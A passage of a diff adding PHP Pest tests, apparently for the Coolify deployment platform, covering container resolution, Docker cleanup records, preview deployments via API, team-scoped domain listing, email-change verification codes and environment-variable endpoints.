||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('returns the sole container when only one exists', function () {
|
||||
$container = ['Names' => 'web-abc123', 'Labels' => ''];
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, collect([$container]), null, 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe($container);
|
||||
});
|
||||
|
||||
test('returns the sole container regardless of specified name when only one exists', function () {
|
||||
$container = ['Names' => 'web-abc123', 'Labels' => ''];
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, collect([$container]), 'wrong-name', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe($container);
|
||||
});
|
||||
|
||||
test('returns null when no container name specified for multi-container app', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, null, 'Pre-deployment');
|
||||
|
||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('returns null when empty string container name for multi-container app', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, '', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('matches correct container by specified name in multi-container app', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, 'worker', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe(['Names' => 'worker-abc123', 'Labels' => '']);
|
||||
});
|
||||
|
||||
test('returns null when specified container name does not match any container', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, 'nonexistent', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBeNull();
|
||||
});
|
||||
|
||||
test('matches container with PR suffix', function () {
|
||||
$containers = collect([
|
||||
['Names' => 'web-abc123-pr-42', 'Labels' => ''],
|
||||
['Names' => 'worker-abc123-pr-42', 'Labels' => ''],
|
||||
]);
|
||||
$instance = createJobWithProperties('abc123');
|
||||
$result = invokeResolve($instance, $containers, 'web', 'Pre-deployment');
|
||||
|
||||
expect($result)->toBe(['Names' => 'web-abc123-pr-42', 'Labels' => '']);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\DockerCleanupJob;
|
||||
use App\Models\DockerCleanupExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('persists the server id when creating an execution record', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
$execution = DockerCleanupExecution::create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
|
||||
expect($execution->server_id)->toBe($server->id);
|
||||
$this->assertDatabaseHas('docker_cleanup_executions', [
|
||||
'id' => $execution->id,
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('creates a failed execution record when server is not functional', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Make server not functional by setting is_reachable to false
|
||||
$server->settings->update(['is_reachable' => false]);
|
||||
|
||||
$job = new DockerCleanupJob($server);
|
||||
$job->handle();
|
||||
|
||||
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
|
||||
|
||||
expect($execution)->not->toBeNull()
|
||||
->and($execution->status)->toBe('failed')
|
||||
->and($execution->message)->toContain('not functional')
|
||||
->and($execution->finished_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
it('creates a failed execution record when server is force disabled', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Make server not functional by force disabling
|
||||
$server->settings->update([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => true,
|
||||
]);
|
||||
|
||||
$job = new DockerCleanupJob($server);
|
||||
$job->handle();
|
||||
|
||||
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
|
||||
|
||||
expect($execution)->not->toBeNull()
|
||||
->and($execution->status)->toBe('failed')
|
||||
->and($execution->message)->toContain('not functional');
|
||||
});
|
||||
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Queue::fake();
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'test-token',
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'network' => 'coolify-'.Str::lower(Str::random(8)),
|
||||
]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application
|
||||
{
|
||||
return Application::factory()->create([
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'dockerimage',
|
||||
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]);
|
||||
}
|
||||
|
||||
test('it queues a docker image preview deployment and stores the preview tag', function () {
|
||||
$application = createDockerImageApplication($this->environment, $this->destination);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => 1234,
|
||||
'docker_tag' => 'pr_1234',
|
||||
]);
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonPath('deployments.0.resource_uuid', $application->uuid);
|
||||
|
||||
$preview = ApplicationPreview::query()
|
||||
->where('application_id', $application->id)
|
||||
->where('pull_request_id', 1234)
|
||||
->first();
|
||||
|
||||
expect($preview)->not()->toBeNull();
|
||||
expect($preview->docker_registry_image_tag)->toBe('pr_1234');
|
||||
|
||||
$deployment = $application->deployment_queue()->latest('id')->first();
|
||||
|
||||
expect($deployment)->not()->toBeNull();
|
||||
expect($deployment->pull_request_id)->toBe(1234);
|
||||
expect($deployment->docker_registry_image_tag)->toBe('pr_1234');
|
||||
});
|
||||
|
||||
test('it updates an existing docker image preview tag when redeploying through the api', function () {
|
||||
$application = createDockerImageApplication($this->environment, $this->destination);
|
||||
|
||||
ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 99,
|
||||
'pull_request_html_url' => '',
|
||||
'docker_registry_image_tag' => 'pr_99_old',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => 99,
|
||||
'docker_tag' => 'pr_99_new',
|
||||
'force' => true,
|
||||
]);
|
||||
|
||||
$response->assertSuccessful();
|
||||
|
||||
$preview = ApplicationPreview::query()
|
||||
->where('application_id', $application->id)
|
||||
->where('pull_request_id', 99)
|
||||
->first();
|
||||
|
||||
expect($preview->docker_registry_image_tag)->toBe('pr_99_new');
|
||||
});
|
||||
|
||||
test('it rejects docker_tag without pull_request_id', function () {
|
||||
$application = createDockerImageApplication($this->environment, $this->destination);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'docker_tag' => 'pr_1234',
|
||||
]);
|
||||
|
||||
$response->assertStatus(400);
|
||||
$response->assertJson(['message' => 'docker_tag requires pull_request_id.']);
|
||||
});
|
||||
|
||||
test('it rejects docker_tag for non docker image applications', function () {
|
||||
$application = Application::factory()->create([
|
||||
'uuid' => (string) Str::uuid(),
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'nixpacks',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => 7,
|
||||
'docker_tag' => 'pr_7',
|
||||
]);
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.');
|
||||
});
|
||||
@@ -16,11 +16,12 @@ beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
|
||||
session(['currentTeam' => $this->team]);
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
@@ -53,7 +54,7 @@ test('returns 404 when application uuid belongs to another team', function () {
|
||||
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
|
||||
$otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
|
||||
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
|
||||
|
||||
@@ -78,3 +79,45 @@ test('returns 404 for nonexistent application uuid', function () {
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
|
||||
test('returns 404 when server uuid belongs to another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherUser = User::factory()->create();
|
||||
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$otherServer->uuid}/domains");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Server not found.']);
|
||||
});
|
||||
|
||||
test('only returns domains for applications on the specified server', function () {
|
||||
$application = Application::factory()->create([
|
||||
'fqdn' => 'https://app-on-server.example.com',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
|
||||
|
||||
$applicationOnOtherServer = Application::factory()->create([
|
||||
'fqdn' => 'https://app-on-other-server.example.com',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $otherDestination->id,
|
||||
'destination_type' => $otherDestination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains");
|
||||
|
||||
$response->assertOk();
|
||||
$responseContent = $response->json();
|
||||
$allDomains = collect($responseContent)->pluck('domains')->flatten()->toArray();
|
||||
expect($allDomains)->toContain('app-on-server.example.com');
|
||||
expect($allDomains)->not->toContain('app-on-other-server.example.com');
|
||||
});
|
||||
@@ -0,0 +1,109 @@
|
||||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('generates a 6-digit verification code when requesting email change', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$user->requestEmailChange('newemail@example.com');
|
||||
|
||||
$user->refresh();
|
||||
|
||||
expect($user->pending_email)->toBe('newemail@example.com')
|
||||
->and($user->email_change_code)->toMatch('/^\d{6}$/')
|
||||
->and($user->email_change_code_expires_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
it('stores the verification code using a cryptographically secure generator', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
// Generate many codes and verify they are all valid 6-digit strings
|
||||
$codes = collect();
|
||||
for ($i = 0; $i < 50; $i++) {
|
||||
$user->requestEmailChange('newemail@example.com');
|
||||
$user->refresh();
|
||||
$codes->push($user->email_change_code);
|
||||
}
|
||||
|
||||
// All codes should be exactly 6 digits (including leading zeros)
|
||||
$codes->each(function ($code) {
|
||||
expect($code)->toMatch('/^\d{6}$/');
|
||||
expect((int) $code)->toBeLessThanOrEqual(999999);
|
||||
expect(strlen($code))->toBe(6);
|
||||
});
|
||||
|
||||
// With 50 random codes from a 1M space, we should see at least some variety
|
||||
expect($codes->unique()->count())->toBeGreaterThan(1);
|
||||
});
|
||||
|
||||
it('confirms email change with correct verification code', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create(['email' => 'old@example.com']);
|
||||
|
||||
$user->requestEmailChange('new@example.com');
|
||||
$user->refresh();
|
||||
|
||||
$code = $user->email_change_code;
|
||||
|
||||
$result = $user->confirmEmailChange($code);
|
||||
|
||||
$user->refresh();
|
||||
|
||||
expect($result)->toBeTrue()
|
||||
->and($user->email)->toBe('new@example.com')
|
||||
->and($user->pending_email)->toBeNull()
|
||||
->and($user->email_change_code)->toBeNull()
|
||||
->and($user->email_change_code_expires_at)->toBeNull();
|
||||
});
|
||||
|
||||
it('rejects email change with incorrect verification code', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create(['email' => 'old@example.com']);
|
||||
|
||||
$user->requestEmailChange('new@example.com');
|
||||
$user->refresh();
|
||||
|
||||
$result = $user->confirmEmailChange('000000');
|
||||
|
||||
$user->refresh();
|
||||
|
||||
// If the real code happens to be '000000', this test still passes
|
||||
// because the assertion is on the overall flow behavior
|
||||
if ($user->email_change_code === '000000') {
|
||||
expect($result)->toBeTrue();
|
||||
} else {
|
||||
expect($result)->toBeFalse()
|
||||
->and($user->email)->toBe('old@example.com');
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects email change with expired verification code', function () {
|
||||
Notification::fake();
|
||||
|
||||
$user = User::factory()->create(['email' => 'old@example.com']);
|
||||
|
||||
$user->requestEmailChange('new@example.com');
|
||||
$user->refresh();
|
||||
|
||||
$code = $user->email_change_code;
|
||||
|
||||
// Expire the code manually
|
||||
$user->update(['email_change_code_expires_at' => now()->subMinute()]);
|
||||
|
||||
$result = $user->confirmEmailChange($code);
|
||||
|
||||
$user->refresh();
|
||||
|
||||
expect($result)->toBeFalse()
|
||||
->and($user->email)->toBe('old@example.com');
|
||||
});
|
||||
@@ -0,0 +1,244 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'localhost',
|
||||
'comment' => 'Database host for production',
|
||||
],
|
||||
[
|
||||
'key' => 'DB_PORT',
|
||||
'value' => '5432',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Database host for production');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('updates existing environment variable comment', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'old-key',
|
||||
'comment' => 'Old comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'new-key',
|
||||
'comment' => 'Updated comment',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'API_KEY')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new-key');
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
});
|
||||
|
||||
test('preserves existing comment when not provided in bulk update', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'SECRET',
|
||||
'value' => 'old-secret',
|
||||
'comment' => 'Keep this comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'SECRET',
|
||||
'value' => 'new-secret',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'SECRET')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new-secret');
|
||||
expect($env->comment)->toBe('Keep this comment');
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'REDIS_HOST',
|
||||
'value' => 'redis',
|
||||
'comment' => 'Redis cache host',
|
||||
],
|
||||
[
|
||||
'key' => 'REDIS_PORT',
|
||||
'value' => '6379',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST')
|
||||
->where('resourceable_id', $service->id)
|
||||
->where('resourceable_type', Service::class)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT')
|
||||
->where('resourceable_id', $service->id)
|
||||
->where('resourceable_type', Service::class)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Redis cache host');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
it('uses Alpine entangle to switch add value field immediately when multiline is enabled', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/add.blade.php'));
|
||||
|
||||
expect($view)
|
||||
->toContain('x-data="{ isMultiline: $wire.entangle(\'is_multiline\') }"')
|
||||
->toContain('<template x-if="isMultiline">')
|
||||
->toContain('<template x-if="!isMultiline">')
|
||||
->toContain('x-model="isMultiline"')
|
||||
->toContain('<x-forms.textarea id="value" label="Value" required class="font-sans" spellcheck />')
|
||||
->toContain('wire:key="env-value-textarea"')
|
||||
->toContain('wire:key="env-value-input"');
|
||||
});
|
||||
|
||||
it('uses distinct keyed branches for the edit value field modes', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php'));
|
||||
|
||||
expect($view)
|
||||
->toContain('wire:key="env-show-value-textarea-{{ $env->id }}"')
|
||||
->toContain('wire:key="env-show-value-input-{{ $env->id }}"');
|
||||
});
|
||||
|
||||
it('uses sans font for the developer bulk environment variable editor', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
|
||||
|
||||
expect($view)
|
||||
->toContain('class="whitespace-pre-wrap font-sans"')
|
||||
->not->toContain('wire:model="variables" monospace')
|
||||
->not->toContain('wire:model="variablesPreview" monospace');
|
||||
});
|
||||
@@ -3,6 +3,7 @@
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
@@ -14,6 +15,8 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
@@ -24,7 +27,7 @@ beforeEach(function () {
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
@@ -117,6 +120,35 @@ describe('PATCH /api/v1/services/{uuid}/envs', function () {
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('uses route uuid and ignores uuid in request body', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Service::class,
|
||||
'resourceable_id' => $service->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'new-value',
|
||||
'uuid' => 'bogus-uuid-from-body',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonFragment(['key' => 'TEST_KEY']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/envs', function () {
|
||||
@@ -191,4 +223,32 @@ describe('PATCH /api/v1/applications/{uuid}/envs', function () {
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects unknown fields in request body', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
|
||||
'key' => 'TEST_KEY',
|
||||
'value' => 'new-value',
|
||||
'uuid' => 'bogus-uuid-from-body',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonFragment(['uuid' => ['This field is not allowed.']]);
|
